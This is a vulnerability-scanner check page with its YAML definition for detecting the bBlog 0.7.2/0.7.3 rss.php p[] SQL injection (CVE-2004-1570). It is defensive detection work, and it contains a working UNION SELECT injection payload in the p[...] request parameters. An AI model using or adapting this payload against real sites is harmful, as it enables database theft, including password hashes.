bBlog — 1 vulnerability check

noctis ships 1 vulnerability check for bBlog, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

bBlog rss.php p[] SQL Injection

CVECVE-2004-1570
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/bblog/CVE-2004-1570.yaml

bBlog 0.7.2 and 0.7.3 do not initialise the array of query options in rss.php. With register_globals enabled, request parameters named p[...] overwrite the column list, WHERE, ORDER BY and LIMIT clauses of the posts query, unquoted and without authentication, allowing SQL injection (an attacker can read the whole database, including the author accounts and their password hashes).

This check requests rss.php under the web root and the usual install paths. Where it returns an RSS feed, it sends p[...] values that select no stored post and append a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the feed lists an item titled with the product computed by the database, which never appears in the request. No stored data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/rss.php
  3. HTTP(S) request GET {{dir}}/rss.php?{{sc.q_union}}
  4. Parses / computes the next value with a Rhai script
  5. Checks hit_dir for ^/ → finding QoD 97: bBlog rss.php p[] SQL Injection (CVE-2004-1570)

References:

Feed source — tests/vulnerabilities/bblog/CVE-2004-1570.yaml
# bBlog 0.7.2 / 0.7.3 — rss.php p[] SQL injection — CVE-2004-1570
#
# rss.php (bBlog 0.7.3, SourceForge bblog, bBlog-0.7.3.tar.gz) fills an array $p that it
# never initialises:
#     if(is_numeric($num)) $p['num'] = $num; else $p['num'] = 10;
#     ...
#     $posts = $bBlog->get_posts($bBlog->make_post_query($p));
# With register_globals on (the setting bBlog was written for), ?p[...]= pre-fills it, and
# make_post_query() extract()s every key over its defaults and pastes them, unquoted, into
#     SELECT posts.$what, authors.nickname, authors.email, authors.fullname
#     FROM <pfx>posts AS posts LEFT JOIN <pfx>authors AS authors ON posts.ownerid = authors.id
#     $wherestart $where $order $limit
# The default RSS 0.92 template prints each returned row's title. 0.7.4 adds `$p = array();`
# before the first assignment, which is the whole fix (diff of the 0.7.3 / 0.7.4 tarballs).
#
# Detection (QoD 97), per candidate install dir whose rss.php answers 200 with an <rss feed:
#   rss.php?p[what]=postid,posts.title,posts.body,posts.modifier,posts.posttime
#          &p[wherestart]=WHERE 1=0&p[order]=
#          &p[limit]=UNION SELECT 0,C,C,0x6e6f6e65,0,0,0,0
#   with C = CONCAT(0x4e4f43544953,a*b,0x454e44) and random six-digit a, b.
# p[what] fixes the column list (5 post columns + the 3 author columns = 8), so the UNION
# does not depend on the posts table's column count; WHERE 1=0 drops every stored post;
# modifier 'none' (0x6e6f6e65) is a stock plugin that leaves the body as is. No quote is
# needed, so magic_quotes_gpc does not matter. The vulnerable feed lists NOCTIS<a*b>END as
# an item title; the product a*b is never in the request. Read-only: no stored row is
# returned and nothing is written.
#
# Limit: MySQL 3.23 has no UNION, so an install on it is not detected (a UNION-free
# variant would need at least one live post to carry the marker).
#
# Better than the source NASL: it only greps index.php for a footer
# "www.bBlog.com target=.*bBlog 0.x" on one line, which bBlog 0.7.x never prints (the public
# templates link "bblog.com" without a version; the admin footer spells the version ".7.3",
# without the leading 0, on the line after the link), so it misses default installs, and it
# also flags installs that run with register_globals off, which are not exploitable.
#
# Source: OpenVAS/Greenbone NVT pre2008/bblog_sql_inject.nasl
# (OID 1.3.6.1.4.1.25623.1.0.15466, GPL-2.0-only); advisory SCN200409-1.
uid: e918ff10-da3c-441a-88e7-e7517180d324
name: "bBlog rss.php p[] SQL Injection (CVE-2004-1570)"
description: |
  bBlog 0.7.2 and 0.7.3 do not initialise the array of query options in rss.php. With
  register_globals enabled, request parameters named p[...] overwrite the column list,
  WHERE, ORDER BY and LIMIT clauses of the posts query, unquoted and without
  authentication, allowing SQL injection (an attacker can read the whole database,
  including the author accounts and their password hashes).

  This check requests rss.php under the web root and the usual install paths. Where it
  returns an RSS feed, it sends p[...] values that select no stored post and append a
  UNION SELECT of an expression multiplying two random numbers. The vulnerability is
  confirmed when the feed lists an item titled with the product computed by the
  database, which never appears in the request. No stored data is read and nothing is
  written.
cves: [CVE-2004-1570]
cvss: 7.5  # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
category: sqli
confidence_base: 0.30
tags: [bblog, sqli, union-based, php, register-globals]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-1570"
  - "http://www.servers.co.nz/security/SCN200409-1.php"
  - "http://www.securityfocus.com/bid/11303"
  - "https://sourceforge.net/projects/bblog/files/bblog/"
  # OpenVAS/Greenbone NASL pre2008/bblog_sql_inject.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected value and the encoded p[] payload ───────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         q_union: "p%5Bwhat%5D=postid,posts.title,posts.body,posts.modifier,posts.posttime"
                  + "&p%5Bwherestart%5D=WHERE%201=0&p%5Border%5D="
                  + "&p%5Blimit%5D=UNION%20SELECT%200," + c + "," + c
                  + ",0x6e6f6e65,0,0,0,0" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-landing
    action: set_var
    var_name: landing
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/blog", "/bblog"]

  - id: init-union-resp
    action: set_var
    var_name: union_resp
    var_value: {status: 0, body: ""}

  - id: fetch-landing
    action: http_request
    method: GET
    path: "{{dir}}/rss.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: landing

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/rss.php?{{sc.q_union}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == "" && landing.status == 200 && type_of(landing.body) == "string" && landing.body.contains("<rss")'
    store_as: union_resp

  - id: check-union
    action: script
    condition: 'hit_dir == "" && landing.status == 200 && type_of(landing.body) == "string" && landing.body.contains("<rss")'
    code: |
      let body = if type_of(union_resp.body) == "string" { union_resp.body } else { "" };
      if body.contains("<title>" + sc.want + "</title>") { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "bBlog rss.php p[] SQL Injection (CVE-2004-1570)"
        description: "An unauthenticated rss.php request whose p[...] parameters replace the clauses of the posts query and append a UNION SELECT multiplying two random numbers returned the product computed by the database as a feed item: an attacker can read the whole database, including the author accounts and their password hashes."
        remediation: "Upgrade bBlog to 0.7.4 or later, which initialises the query options in rss.php, and disable register_globals in the PHP configuration."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_dir}}: rss.php?p[what]=postid,…&p[wherestart]=WHERE 1=0&p[order]=&p[limit]=UNION SELECT 0,CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),… listed the database-computed value {{sc.want}} as an item title"
      stop: true

View these feeds on GitHub